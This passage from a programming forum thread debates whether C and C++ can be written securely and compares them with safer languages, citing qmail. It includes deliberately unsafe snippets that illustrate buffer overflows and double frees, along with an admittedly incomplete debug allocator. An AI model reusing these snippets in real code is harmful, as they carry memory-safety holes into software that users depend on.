    Garbage collection in C++ has to be conservative and non-copying, which means that if C++ programmers want to use GC, they're going to be stuck with essentially the least GC sophisticated technology around. (And they will *still* have to be "on their toes" to make sure they don't do legal things in the language that happen to confound the GC.)

    > btw: as for these buffer overflows, etc. You can write malloc and free such that they watch for this sort of thing. It just
    > costs a few bytes per allocation and some processing power.

    I'd really appreciate an explanation of this, because:

    - Buffer overflows of stack-allocated arrays (common and most easily exploited) don't pass through malloc.
    - The only way I know to protect out-of-bounds read/writes for malloc'd data is to use virtual memory hardware to protect pages around the memory. This is a huge waste of space (at least 2 pages *per allocation* = ~8kb), requires that you never re-allocate any memory (talk about a memory leak!), can only be exact on one side of the allocation unless it happens to be the size of a page, and isn't even correct since way-out-of-bounds writes can end up in another valid page. This is totally impractical except for debugging.

    > I believe scripting languages are harder to debug than C++ ....

    I'm not advocating that security-critical code be written in scripting languages, because those have their own class of easy-to-make security holes. I'm arguing for compiled (not VM), safe languages.

  166. Fun in the Sun! (was Re:Easing into perl) by pabs · · Score: 1

    And now the evil overly concise equivalents!

    C / C++:
    for (i = 1; i < 11; j += i++) ;
    Perl:
    $j += $_ for (1 .. 11);
    Ruby:
    (1 .. 11).each { |i| j += i }
    Parrot Assembly:
    set I0, 1
    LOOP:
    add I1, I1, I0
    add I0, I0, 1
    ne I0, 11, LOOP
    --

    Odds of being killed by lightning and winning the lottery in the same day: 1 in 2^55

  167. C++ templates vs high level languages by Anonymous+Brave+Guy · · Score: 1

    This is somewhat off-topic, but since the discussion has drifted this way...

    Can you show me a high level language that duplicates the flexibility and performance of C++ templates? Once you realize that you cannot, youll understand that C++ is still the only game in town.

    Don't get me wrong, I like C++ as a practical development tool, and I post here fairly often in its defence. But truth be told, templates aren't its strongest point. The feature is valuable -- C++ would be a much weaker language without it -- but it is clumsy and underpowered compared to alternatives available elsewhere.

    Advanced template techniques in C++ have their uses, but often what they actually do would be routine in a higher level language anyway. Look at the standard library algorithms, expression templates, policies and such, and compare with routine programming technique using, say, the LISP or ML language families. Note also that performance isn't necessarily hit here; on such verifiable evidence as there is, several languages in the families I mention can hold their own against C.

    --
    If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
  168. Re:HLL's are NOT a substitute for secure programmi by dvdeug · · Score: 1
    Security is a process, not a product. HLL's can be misused just as effectively as LLL's.

    There's an old Arab phrase: trust in Allah, but tie up your camel. Trust in programmers all you want, but protect yourself from their mistakes.

    Try these two bits of code:
    int sum (int a[], int first, int last) {
    int foo = 0;
    for (int i = first; i <= last; i++) foo += a[i];
    return foo;
    }
    and
    function Sum (A: array of Integer; First: Integer; Last: Integer) return Integer is
    Foo: Integer := 0;
    begin
    for I in First .. Last loop
    Foo := Foo + A(I);
    end loop;
    return Foo;
    end Sum;
    One of these pieces of code will never have a buffer overflow. Give the right arguments to the other one, and it will also function as a exec function. This is unfixable in C; you have to call it right to avoid buffer overflows. Given that buffer overflows are probably the most common security hole, Ada will certainly make for fewer security problems, and at least leave you more time to think about the other security flaws your code could have.
  169. Re:This just in! by Anonymous+Brave+Guy · · Score: 1
    The point is you end up spending a non-trivial amount of your time and effort doing string type conversions. The idea that the STL is a "defacto standard" is just wrong.

    True; the only realistic standard is a null-terminated character array. However, you can get one of those from a std::string (or a std::wstring) with a trivial function call.

    I'll leave the answer to this question to the experts:

    Oh dear. I'm sorry, but that is possibly the worst string class I have ever seen. It has all the bad bits of C++'s std::string, Java's String and StringBuffer, etc:

    • bloated interface
    • size-specific interfaces and confusion over multi-part characters
    • lots of case handling that won't work in general
    • a silly class hierarchy.

    I'm guessing it was designed by committee? :-)

    And I'm still waiting to hear what you think that lot can do that a straightforward std::wstring and some common sense can't...

    --
    If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
  170. Re:You can, but it's hard, and why would you want by Electrum · · Score: 1

    Well, it's true that they have no known buffer overflow-style bugs--brute force can occasionally work.

    They have no bugs of that nature due to the way they are written. If you read the source, it's easy to see why they are secure. They don't use static buffers and all network input is checked.

    Most security problems with C code stem from the use of the standard C library. Dan doesn't use it. His C library makes it much easier to write secure code. If everyone writing C ditched the standard C library, we would see fewer security related bugs.

    See this page for an explanation of why qmail is secure: http://cr.yp.to/qmail/guarantee.html

    Where do I get my C web server

    http://cr.yp.to/publicfile.html

  171. Re:You can, but it's hard, and why would you want by GlassHeart · · Score: 1
    Preventing double frees *requires* a more sophisticated memory management scheme

    Yes, but not much more sophisticated. All you really need is something like this:

    void *blocks[BIG_NUMBER];
    int blocks_allocated = 0;

    void *dbg_malloc(size_t size)
    {
    void *p = malloc(size);
    if (p != NULL) {
    blocks[blocks_allocated++] = p;
    }
    return p;
    }

    void dbg_free(void *p)
    {
    for (i = 0; i < blocks_allocated; i++) {
    if (blocks[i] == p) {
    blocks[i] = NULL;
    free(p);
    return;
    }
    }
    /* double free! */
    }
    The code is obviously not complete. It can't reuse the blocks[] array after some free()s and doesn't check overflows, but it should illustrate how easily a simple memory debugger can be built. A simple #ifdef will ensure that a release build will use the real malloc() and free() for maximal speed. This code can also be easily extended to check for memory leaks.
  172. language EUPHORIA ! Fast and excellent ! by zymano · · Score: 0
    Fastest and most excellent language. Check it out .....

    EUPHORIA

  173. Lisp by Srin+Tuar · · Score: 1


    Well, Ive done lisp, actually before C++, and I found it to be lacking. Its a good attempt, but I dont think it is an optimal implementation of the lambda calculus.

    If you've ever seen efficient lisp coding techniques, they tend towards the counter-intuitive.
    Whereas templates in C++ are often faster than equivalent C code.

    The idea that since computers are getting faster, that performance will become a non-issue is a fallacy. Java, as it exists today, will never be fast. Also, its assignment semantics are simply broken.

    I dont rule out the possibility that a higher level language will be invented that doesnt suffer from the failings of lisp, but I havent seen it yet. Perhaps something will come out of category theory...

    anyway, thats my opinion...

    1. Re:Lisp by Anonymous+Brave+Guy · · Score: 1

      Well, I confess that I've never really used Lisp in anger, the way I have with something like C++ or, to a lesser extent, Java. It just struck me that when looking at C++'s approach to generics, Lisp's S-expressions seem to have a rather firmer underlying base (lambda calculus) whereas C++ is crying out for one but doesn't currently have it (hence all the expression template libraries, and the presence of an incomplete mess of function objects in the standard library for binding and such).

      --
      If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
  174. Re:Safe != interpreted, and 'cracking' JVM irrelev by pyrrho · · Score: 1

    I have always thought of myself as totally non-evangelical when it comes to languages. But recently I have found myself defending C++, really as a proxy for compiled languages. The abstraction of a VM is a lot better in theory than practice, in my experience, unless the VM is special purpose.

    But C++ does offer a "safe" general paradigm, declaring variables which are destroyed on leaving scope. This allows control of all the critical situations. A buffer class can be made as safe to use as the one the compiler or VM manages for you in another "safe language".

    C++ programers used not do this because it's not optimal, you end up doing a lot of copying by default. Back when C++ programers had recently been C programmers that seemed like a waste. They availed themselves of the C paradigm still available in C++.

    But now it's often a quite acceptable performance degredation.

    When it is not acceptable, you can optimize it away without rewriting the code that uses the no-pointer paradigm. Generally, you can override the copy constructor and the "=" operator and start trading pointers and reference counting and avoid all the copying. Since you know your class is used as a variable and not referenced by pointers, you know your destructors will be called. You know no one is passing pointers out of the object that can be abused, they only return objects that encapusulate the evil buffers.

    Although it's possible to eliminate use of pointers I don't think that is necessary, it's sufficient to reduce the amount of manipulation you do. So I'm not a purist, I allow myself a few pointers to track in any given object, and rely on a consistent use of the system. But when delivering classes that are more like SDKs, then I have in fact used these "safe" practices.

    The real complaint seems to be, perhaps not in your case, but in general, that the fact that there are unsafe -options- means the language itself is unsafe. I think it's more like the operation of a car. A car can be operated safely, and that reduces the chance of an accident to an almost arbitrarily high percentage. But I guess I admit there will be a few accidents over all the roadways, due to recklessness. But I don't want to give up cars for a vehicle that can make recklessness safe, somehow, unless it's performance is really just as good as a car. I mean, going 5 miles an hour is a solution that won't really do compared to good defensive driving.

    BUT! I actually do think you're right, I should look at ML, or OCaml, or Scheme. I'm far more suspicious of the idea that VM based languages are the new general purpose language, but other compiled languages, of course, offer their own unique paradigms that are not offered in C++ and if there isn't a sort of automatic pentalty that cannot be optimized away reliably, then I'm inclined to assume that the additional paradigm(s) are further useful tools.

    --

    -pyrrho

  175. Let's look at ''secure'' code from qmail... by Tom7 · · Score: 1
    > They have no bugs of that nature due to the way they are written. If you read the source, it's easy to see why they are
    > secure. They don't use static buffers and all network input is checked.

    Well, I was interested to see what really secure C code must look like (I have never actually read the source to qmail or djbdns before), so I took you up on your offer. The first file I opened (qmail: cdbmss.c), at random, had this code:
    int cdbmss_finish(c)
    struct cdbmss *c;
    {
    int i;
    uint32 len;
    uint32 u;

    if (!cdbmake_split(&c->cdbm,alloc)) return -1;

    for (i = 0;i < 256;++i) {
    len = cdbmake_throw(&c->cdbm,c->pos,i);
    &nbsp ; for (u = 0;u < len;++u) {
    cdbmake_pack(c->packbuf,c->cdbm.hash[u].h);
    &nbsp ; cdbmake_pack(c->packbuf + 4,c->cdbm.hash[u].p);
    if (substdio_put(&c->ss,c->packbuf,8) == -1) return -1;
    c->pos += 8; /* XXX: overflow? */
    }
    }

    if (substdio_flush(&c->ss) == -1) return -1;
    if (seek_begin(c->fd) == -1) return -1;
    return substdio_putflush(&c->ss,c->cdbm.final,sizeof(c->c dbm.final));
    }
    Not only is this code ripe with pointer arithmetic and unchecked (locally) array bounds access, it even says right in it, "XXX overflow?" -- in other words, the author isn't even sure that what he's doing is correct. If the author's not sure, I don't see how it is "easy" to see that this code is secure.

    I was actually pretty surprised by the code (looking at a few files after that, I don't see any different) in qmail. Though I would believe that qmail is written by an expert C hacker who is paranoid about security, I don't think there is anything special about the code other than that that gives it extra security. Do you have any particular insight that I'm missing?

    1. Re:Let's look at ''secure'' code from qmail... by Electrum · · Score: 1

      Not only is this code ripe with pointer arithmetic and unchecked (locally) array bounds access, it even says right in it, "XXX overflow?" -- in other words, the author isn't even sure that what he's doing is correct. If the author's not sure, I don't see how it is "easy" to see that this code is secure.

      I'd like to know where these "unchecked" array accesses are at in that code. I sure don't see any. You aren't understanding that comment. pos is a file offset, not a pointer. And that code is only used by qmail-newu, which is run locally by the admin to regenerate the users/assign database. Try looking at some other code, such as qmail-smtpd.c.

      I was actually pretty surprised by the code (looking at a few files after that, I don't see any different) in qmail. Though I would believe that qmail is written by an expert C hacker who is paranoid about security, I don't think there is anything special about the code other than that that gives it extra security. Do you have any particular insight that I'm missing?

      You must not be familiar with C. Did you not notice the lack of standard string routines? See this page for a list of reasons why qmail is secure.

    2. Re:Let's look at ''secure'' code from qmail... by Tom7 · · Score: 1

      > I'd like to know where these "unchecked" array accesses are at in that code. I sure don't see any.

      Well, both accesses to [u] are unchecked, in the sense that the index is only implicitly in bounds. While presumably 'len' is meant to be the length of that array, that isn't obvious from the code -- so, for instance, changing that invariant elsewhere might break this code. What I would expect to see from really paranoid secure code is a standard way of representing and accessing arrays that makes sure that each access is in bounds. Then it is obvious to see that the code is correct. Without that, it's not.

      > You must not be familiar with C.

      No, I know C quite well.

      > Did you not notice the lack of standard string routines?

      So? Standard string routines are no longer the source of our buffer overflows. That was the 1990s. These days -- read bugtraq -- it's typically problems with programmer-written parsing routines. (Because you can just 'grep' a source tree for the unsafe string routines!!). Stuff like integer overflows, double frees, and just plain out-of-bound writes are what we worry about today. The last two sendmail holes are of this sort, so was the recent sshd hole. I see nothing special about the qmail code that would prevent this sort of thing. qmail-smtpd.c, your example, is just the kind of hand-written parser that has been faulty in other daemons.

      djb has put together some (apparently) secure servers in C, and that is impressive. But I see nothing about the code itself that makes it clear that they are secure -- I just have to trust his arithmetic and the fact that nobody has found any bugs yet. In a safe language it is much easier to look at the code and know that certain kinds of common exploitable bugs just can't happen!

  176. Re:You can, but it's hard, and why would you want by Tom7 · · Score: 1


    Well, keeping a list of memory you've allocated before has the main problem that malloc tends to reuse previously-allocated memory--so you may have a dangling pointer that becomes valid because of another malloc. This code won't catch that during debugging. (But it may be triggerable in the release build!) I don't actually know how common this is, but it is often those insidious corner cases that turn into security holes...

    Of course, a scheme like this will also be a lot slower than garbage collection.

  177. Re:You can, but it's hard, and why would you want by GlassHeart · · Score: 1
    keeping a list of memory you've allocated before has the main problem that malloc tends to reuse previously-allocated memory--so you may have a dangling pointer that becomes valid because of another malloc.

    Not a big problem. Note that dbg_malloc() can similarly traverse the list before returning, and if the malloc()ed pointer is already in the list, the scenario you cite just happened.

    Of course, a scheme like this will also be a lot slower than garbage collection.

    Unlike GC, this can be disabled in release builds.

  178. Re:You can, but it's hard, and why would you want by Tom7 · · Score: 1

    > Not a big problem. Note that dbg_malloc() can similarly traverse the list before returning, and if the malloc()ed pointer is
    > already in the list, the scenario you cite just happened.

    Maybe I'm misunderstanding your answer, but I don't think this does anything. Here's the simplified version of my scenario:

    char * x = malloc(10); /* x is 0x800000, debug list holds 0x800000 */
    char * y = x; /* debug list holds same value */
    free(x); /* debug list empty, x and y dangling */
    char * z = malloc(10); /* malloc reallocates at 0x800000, debug list = 0x800000 */
    free(y);

    This sequence of mallocs and frees is obviously buggy, but if malloc chooses to reallocate z to be the same space where x lived, then your debugging malloc won't complain. (However, if a different code path or previous allocations make z be allocated somewhere else, then we have a potentially exploitable double free.) I'm not particularly saying that this is a big deal (I don't know how common this kind of bug is) but merely backing up my statement that doing correct safe malloc/free requires more sophisticated memory management. But much more importantly:

    >> Of course, a scheme like this will also be a lot slower than garbage collection.
    > Unlike GC, this can be disabled in release builds.

    Right, but the release builds are where you want the protection from security holes. Double-frees that are dangerous are not usually ones that happen every time you run the program (because those will cause it to be crashy all the time, which you notice) but the ones that you can trigger via some error condition. For instance, zlib's exploitable hole was like this -- a debugging malloc would never have caught it, unless their test cases included the particular corrupt input that triggered the double-free. Turning off protection is like turning off bounds checks in strncpy for release -- it is precisely that unexpected long input in your release build that you want to protect against!

  179. Re:You can, but it's hard, and why would you want by GlassHeart · · Score: 1
    but if malloc chooses to reallocate z to be the same space where x lived, then your debugging malloc won't complain.

    Sorry, I misunderstood you the first time. You are correct that this particular case won't be caught. One possibility might to never actually free memory in debug mode, which obviously still won't work if you really require lots of memory.

    but the release builds are where you want the protection from security holes.

    If that's the case, you'll either want to optimize the memory debugging library to look up allocated blocks much more quickly, or use another language.

    However, even the simple library that I proposed will probably catch over 90% of the memory bugs, which should make it a worthwhile investment in time.